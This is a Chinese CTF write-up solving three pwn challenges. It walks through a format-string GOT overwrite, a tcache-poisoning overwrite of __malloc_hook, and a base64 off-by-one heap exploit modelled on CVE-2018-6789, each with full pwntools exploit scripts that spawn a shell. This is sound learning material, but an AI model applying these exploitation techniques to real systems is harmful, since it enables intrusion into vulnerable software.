搞到题目啦啊哈哈哈哈哈哈哈哈PWN.zip
感谢 @CataLpa 师傅给的题目

repeater

32 位的程序,存在很明显的格式化字符串漏洞

image.png

数一下偏移,第四个

image.png

有个 cat flag 的后门 0x8048616,但是有一个 number 限制,nubmer 要等于 8216 才行,可以直接让他执行 0x8048638 那一块,那就覆写 puts 函数的 got 表把

image.png

  1. from pwn import *
  2. context.log_level = 'DEBUG'
  3. p = process("./repeater")
  4. elf=ELF('./repeater')
  5. puts_got=elf.got['puts']
  6. p.recvuntil("your msg:")
  7. payload = fmtstr_payload(4,{puts_got:0x8048638})
  8. p.sendline(payload)
  9. p.interactive()

image.png

bb_tcache

程序的逻辑挺简单的,free 之后没有置为 NULL
另外还提供了 system 的地址,可以直接拿来算 libc 的基址了

image.png

  1. from pwn import *
  2. context.log_level = 'DEBUG'
  3. p=process('bb_tcache')
  4. elf=ELF('bb_tcache')
  5. libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
  6. def alloc():
  7. p.sendlineafter("4. quit!\n","1")
  8. def release():
  9. p.sendlineafter("4. quit!\n","2")
  10. def fill(content):
  11. p.sendlineafter("4. quit!\n","3")
  12. p.sendafter("something.\n",content)
  13. p.recvuntil("need this: ")
  14. sys_addr = int(p.recvuntil('\n', drop=True).strip(), 16)
  15. libc_base = sys_addr - libc.symbols["system"]
  16. malloc_hook = libc_base + libc.symbols["__malloc_hook"]
  17. one_gadget = libc_base + 0x10a45c
  18. alloc()
  19. release()
  20. fill(p64(malloc_hook))
  21. alloc()
  22. alloc()
  23. fill(p64(one_gadget))
  24. alloc()
  25. p.interactive()

首先 malloc 一个,free 之后再去编辑,编辑成 malloc_hook(tcache 不会对 size 进行检查,所以可以直接申请到 malloc_hook 这里)
然后 malloc 两次就申请到了 malloc_hook 那里了,再去编辑就可以把 malloc_hook 改为 one_gadget 的地址,这样去 malloc 的时候就可以拿到 shell

image.png

啊啊啊,好简单的说

notepad

官方 writeup 说是:cve-2018-6789
我先去复现一下这个 cve 再回过头来做做这道题😁
我又回来了,感觉真实的漏洞还是太复杂,还是先做 pwn 题吧
mark 一个 exp
https://leeeddin.github.io/cve-2018-6789-off-by-one/

  1. #!/usr/bin/env python
  2. # -*- coding=utf8 -*-
  3. from pwn import *
  4. p = process('./notepad')
  5. libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  6. context.log_level = 'info'
  7. def addnote(name,password,size,content):
  8. p.sendlineafter('choice> ','1')
  9. p.sendafter('name> ',name)
  10. p.sendlineafter('no)> ','1')
  11. p.sendlineafter('word> ',password)
  12. p.sendlineafter('size> ',str(size))
  13. p.sendlineafter('content> ',content)
  14. def shownote(name,passwd):
  15. p.sendlineafter('choice> ','2')
  16. p.sendafter('name> ',name)
  17. p.sendlineafter('word> ',passwd)
  18. def editnote(name,passwd,size,content):
  19. p.sendlineafter('choice> ','3')
  20. p.sendafter('name> ',name)
  21. p.sendlineafter('word> ',passwd)
  22. p.sendlineafter('no)> ','0')
  23. p.sendlineafter('size> ',str(size))
  24. p.sendlineafter('content> ',content)
  25. def delnote(name,passwd):
  26. p.sendlineafter('choice> ','4')
  27. p.sendafter('name> ',name)
  28. p.sendlineafter('password> ',passwd)
  29. passwd = "yichen".encode("base64") + "\x00"
  30. addnote('1'*0x10,passwd,0x1c0,'1')
  31. addnote('2'*0x10,passwd,0x20,'2')
  32. addnote('3'*0x10,passwd,0x20,'3')
  33. delnote('1'*0x10,passwd)
  34. addnote('1'*0x10,passwd,0x30,'aaaaaaa')
  35. editnote('2'*0x10, passwd, 0x88-1, "b"*0x10)
  36. editnote('3'*0x10, passwd, 0xf8-1, "c"*0x10)
  37. delnote("2"*0x10, passwd)
  38. evilpd = ("A"*0x88+'1').encode("base64").replace("\n","")[:-1]+"\x00"
  39. addnote("2"*0x10, evilpd, 0x20-1, "padding")
  40. atoi_got = 0x602090
  41. pwd2addr = 0x4019E6 #name exist\x00
  42. payload = ""
  43. payload += "A"*0xf0
  44. payload += p64(0x100)
  45. payload += p64(0x31)
  46. payload += '2'*0x10
  47. payload += p64(pwd2addr)
  48. payload += p64(atoi_got)
  49. payload += p64(0x000000100001000)
  50. editnote("3"*0x10,passwd,0x128-1,payload)
  51. newpd = "name exist\x00".encode("base64")
  52. shownote("2"*0x10,newpd)
  53. atoiaddr = u64(p.recv(6).ljust(8,'\x00'))
  54. libcbase = atoiaddr - libc.symbols['atoi']
  55. sysaddr = libcbase + libc.symbols['system']
  56. payload = p64(sysaddr)
  57. editnote("2"*0x10,newpd,0x10,payload)
  58. p.sendlineafter('choice> ','/bin/sh\x00')
  59. p.interactive()

image.png

程序自己会申请 0x30 大小的 chunk(malloc(0x28) 但是要对齐所以 0x30)用来直接存放 name、base64 解码后的 password 的指针以及 content 的指针,同时申请的这个会被放到 bss 段的 ptr 数组上面,后面就把这个用户申请的 chunk 成为 note_header

image.png

说一下漏洞点:
在涉及 password 的时候会 malloc 相应的 size,通过对 base64 编码的了解,我们已经知道了 base64 编码后应该都是 4 的倍数,它将会被解码为 3 的倍数的长度,然后下面的代码中给了 3n + 1 的空间,是没有问题的

image.png

但是如果构造一个 4n+3 的 base64 编码去让他解码用到的就是 3n+2 就 off by one 了
例如:123 经过 base64 编码之后是:MTIz,在末尾加上两个字符:’MTI’,去解码的时候会解码为 12312
本来是 41,加上两个之后就是 41+3 然后解码出来是 3*1+2

2018-科来杯 - 图10

同时会在 *(_DWORD *)(note_header + 36) = 1 标注是否设置了 password

image.png

delete 的时候分别 free 掉 password 与 content 的指针,但是没有置为 null,仅仅是把 bss 段存放的 note_header 给删掉了

image.png

一开始这样去 malloc

  1. passwd = "yichen".encode("base64") + "\x00"
  2. addnote('1'*0x10,passwd,0x1c0,'1')
  3. addnote('2'*0x10,passwd,0x20,'2')
  4. addnote('3'*0x10,passwd,0x20,'3')

布局是这样的

image.png

  1. delnote('1'*0x10,passwd)
  2. #free(0x20)、free(0x1d0)、free(0x30)
  3. addnote('1'*0x10,passwd,0x30,'aaaaaaa')
  4. #malloc(0x30)、malloc(0x20)、malloc(0x40)
  5. editnote('2'*0x10, passwd, 0x88-1, "b"*0x10)
  6. #free(0x30)、malloc(0x90)
  7. editnote('3'*0x10, passwd, 0xf8-1, "c"*0x10)
  8. #free(0x30)、malloc(0x100)

然后删掉第 1 个(他是用 name 来选择的,我们就用 name 的值来交流啦),然后 malloc 0x30 去分割那个比较大的 chunk,再编辑一下之前的 content,此时布局如下

image.png

原本 1 的 content 大小 0x1d0 被分为 0x40+0x90+0x100,空出来了 2 的 content(0x603270) 与 3 的 content(0x6032f0) 两个 0x30 大小的
注意到在最后多出来一个 0x20 大小的 free chunk 是 delete 的时候检查 password 留下的

这时候去做如下编辑,就用到了 base64 解码的时候出现的问题了

image.png

这里 ‘A’*0x88 + ‘1’ 编码之后删掉后面那个 ‘=’ 正好符合 4n+3 可以 off by one 把后面改为 0x31

  1. delnote("2"*0x10, passwd)
  2. #检查password应该会直接用最后面的0x20的free chunk
  3. #free(0x20)、free(0x90)、free(0x30)
  4. evilpd = ("A"*0x88+'1').encode("base64").replace("\n","")[:-1]+"\x00"4
  5. addnote("2"*0x10, evilpd, 0x20-1, "padding")
  6. #再去create的时候用上面free的0x30存放程序自己申请的那个note_header
  7. #password会放到0x90那个地方,而content会放到前面剩下的一个0x30那里

password 的 off by one 会修改下面那个 0x100 大小的为 0x130

image.png

  1. atoi_got = 0x602090
  2. pwd2addr = 0x4019E6 #name exist
  3. payload = ""
  4. payload += "A"*0xf0
  5. payload += p64(0x100)
  6. payload += p64(0x31)
  7. payload += '2'*0x10
  8. payload += p64(pwd2addr)
  9. payload += p64(atoi_got)
  10. payload += p64(0x000000100001000)
  11. editnote("3"*0x10,passwd,0x128-1,payload)
  12. newpd = "name exist\x00".encode("base64")
  13. shownote("2"*0x10,newpd)
  14. atoiaddr = u64(io.recv(6).ljust(8,'\x00'))
  15. libcbase = atoiaddr - libc.symbols['atoi']
  16. sysaddr = libcbase + libc.symbols['system']

然后 edit 的时候就可以直接覆盖掉下面那块 0x30大小的第二个的 note_header,有个问题是需要 password,可以把 password 指针改为存在的一个字符串的地址,比如:0x4019E6,再去 show 的时候可以拿到 atoi 的 got 地址,算出 system 的地址

image.png

image.png

然后 edit2 把 atoi 的地址改为 system 的地址,然后发一个 ‘/bin/sh’ 就可以啦

  1. payload = p64(sysaddr)
  2. editnote("2"*0x10,newpd,0x10,payload)
  3. p.sendlineafter('choice> ','/bin/sh\x00')
  4. p.interactive()

参考的师傅的 exp 没有发送 ‘/bin/sh’ 也可以!?不知道什么原因